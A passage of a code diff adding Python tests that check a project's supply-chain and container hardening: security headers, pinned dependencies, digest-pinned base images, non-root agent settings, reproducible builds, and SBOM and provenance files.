+        if line.strip().startswith("location ") and "deny" not in line
+    ]
+    includes = config.count("include /etc/nginx/conf.d/security-headers.inc;")
+    # One include per serving location, plus the server-level default.
+    assert includes >= len(serving_blocks), f"{includes} includes for {len(serving_blocks)} blocks"
+    # v1 generates the include from a template at image build time so the CSP's connect-src is
+    # derived from the same API base URL that is compiled into the bundle.
+    headers = (ROOT / "frontend" / "security-headers.inc.template").read_text("utf-8")
+    for header in (
+        "Content-Security-Policy",
+        "X-Content-Type-Options",
+        "X-Frame-Options",
+        "Referrer-Policy",
+        "Cross-Origin-Opener-Policy",
+        "Cross-Origin-Resource-Policy",
+        "Permissions-Policy",
+    ):
+        assert header in headers
+
+
+def test_no_dependency_is_declared_as_a_floating_latest() -> None:
+    """`latest` makes a build unrepeatable and pulls a compromised release automatically."""
+
+    import json
+
+    manifest = json.loads((ROOT / "frontend" / "package.json").read_text("utf-8"))
+    floating = [
+        f"{section}:{name}"
+        for section in ("dependencies", "devDependencies")
+        for name, spec in manifest.get(section, {}).items()
+        if spec in ("latest", "*", "")
+    ]
+    assert floating == [], f"floating dependency specifiers: {floating}"
+
+
+def test_the_release_images_upgrade_their_installer() -> None:
+    for dockerfile in (ROOT / "backend" / "Dockerfile", ROOT / "node-agent" / "Dockerfile"):
+        assert "--upgrade pip" in dockerfile.read_text("utf-8"), dockerfile
+
+
+def test_every_release_base_image_is_digest_pinned_and_security_updated() -> None:
+    dockerfiles = (
+        ROOT / "backend" / "Dockerfile",
+        ROOT / "frontend" / "Dockerfile",
+        ROOT / "node-agent" / "Dockerfile",
+    )
+    for dockerfile in dockerfiles:
+        text = dockerfile.read_text("utf-8")
+        from_lines = [line for line in text.splitlines() if line.startswith("FROM ")]
+        assert from_lines
+        assert all("@sha256:" in line for line in from_lines), dockerfile
+        assert (
+            "apk upgrade --no-cache" in text
+            or "apt-get upgrade --yes" in text
+        ), dockerfile
+
+    for dockerfile in (dockerfiles[0], dockerfiles[2]):
+        text = dockerfile.read_text("utf-8")
+        assert '"setuptools>=78.1.1"' in text, dockerfile
+        assert '"msgpack>=1.2.1"' in text, dockerfile
+        assert "pip check" in text, dockerfile
+        assert "python -m pip uninstall --yes pip setuptools" in text, dockerfile
+
+
+def test_node_agent_runtime_is_glibc_multistage_and_keeps_nvidia_hardening() -> None:
+    dockerfile = (ROOT / "node-agent" / "Dockerfile").read_text("utf-8")
+    compose = (ROOT / "docker-compose.node-agent.yml").read_text("utf-8")
+
+    assert dockerfile.count("FROM python:3.12-slim-trixie@sha256:") == 2
+    assert " AS builder" in dockerfile
+    assert "alpine" not in dockerfile.lower()
+    assert "USER modelforge-agent" in dockerfile
+    assert "--uid 100" in dockerfile and "--gid 101" in dockerfile
+    assert (
+        "MODELFORGE_AGENT_ACCELERATOR_MODE: ${MODELFORGE_AGENT_ACCELERATOR_MODE:-nvidia}"
+        in compose
+    )
+    assert "read_only: true" in compose
+    assert "cap_drop:\n      - ALL" in compose
+    assert "no-new-privileges:true" in compose
+    assert "driver: nvidia" in compose and "capabilities: [gpu]" in compose
+
+
+def test_release_builder_uses_reproducible_image_exports() -> None:
+    from importlib.util import module_from_spec, spec_from_file_location
+
+    spec = spec_from_file_location(
+        "release_build_supply_chain", ROOT / "scripts" / "release_build.py"
+    )
+    assert spec and spec.loader
+    release_build = module_from_spec(spec)
+    spec.loader.exec_module(release_build)
+
+    assert release_build.source_date_epoch("2026-08-28T22:00:00Z") == 1787954400
+    source = (ROOT / "scripts" / "release_build.py").read_text("utf-8")
+    assert '"--metadata-file"' in source
+    assert 'build_metadata.get("containerimage.digest")' in source
+    with pytest.raises(ValueError, match="UTC offset"):
+        release_build.source_date_epoch("2026-08-28T22:00:00")
+    assert (
+        release_build.manifest_digest("modelforge-api@sha256:" + "a" * 64)
+        == "sha256:" + "a" * 64
+    )
+    assert release_build.manifest_digest(None) is None
+
+    script = (ROOT / "scripts" / "release_build.py").read_text("utf-8")
+    assert '"--provenance=false"' in script
+    assert '"--sbom=false"' in script
+    assert "SOURCE_DATE_EPOCH" in script
+
+
+def test_sbom_accepts_an_unlabelled_image(monkeypatch: pytest.MonkeyPatch) -> None:
+    from importlib.util import module_from_spec, spec_from_file_location
+
+    spec = spec_from_file_location("m16_sbom_unlabelled", ROOT / "scripts" / "m16_sbom.py")
+    assert spec and spec.loader
+    sbom = module_from_spec(spec)
+    spec.loader.exec_module(sbom)
+
+    def fake_docker(*args: str) -> str:
+        rendered = " ".join(args)
+        if "Config.Labels}}" in rendered:
+            return "null"
+        if "RepoDigests" in rendered:
+            return "example@sha256:" + "b" * 64
+        if '"base"' in rendered:
+            return ""
+        if "{{.Id}}" in rendered:
+            return "sha256:" + "c" * 64
+        if "{{.Created}}" in rendered:
+            return "2026-08-28T22:00:00Z"
+        raise AssertionError(rendered)
+
+    monkeypatch.setattr(sbom, "docker", fake_docker)
+    monkeypatch.setattr(sbom, "git", lambda *args: "origin")
+    result = sbom.image_provenance("example:1.0", "d" * 40)
+    assert result["oci"] == {}
+
+
+def test_the_sbom_and_provenance_are_present_and_bound_to_a_commit() -> None:
+    import json
+
+    sbom_path = ROOT / "docs" / "security" / "sbom" / "modelforge-cyclonedx.json"
+    provenance_path = ROOT / "docs" / "security" / "sbom" / "image-provenance.json"
+    assert sbom_path.is_file() and provenance_path.is_file()
+
+    sbom = json.loads(sbom_path.read_text("utf-8"))
+    assert sbom["bomFormat"] == "CycloneDX"
+    assert len(sbom["components"]) > 100
+    assert all("purl" in component for component in sbom["components"])
+
+    provenance = json.loads(provenance_path.read_text("utf-8"))
+    assert len(provenance["images"]) >= 3
+    assert re.fullmatch(r"[0-9a-f]{40}", provenance["source_commit"])
+    assert all(item["image_id"] for item in provenance["images"])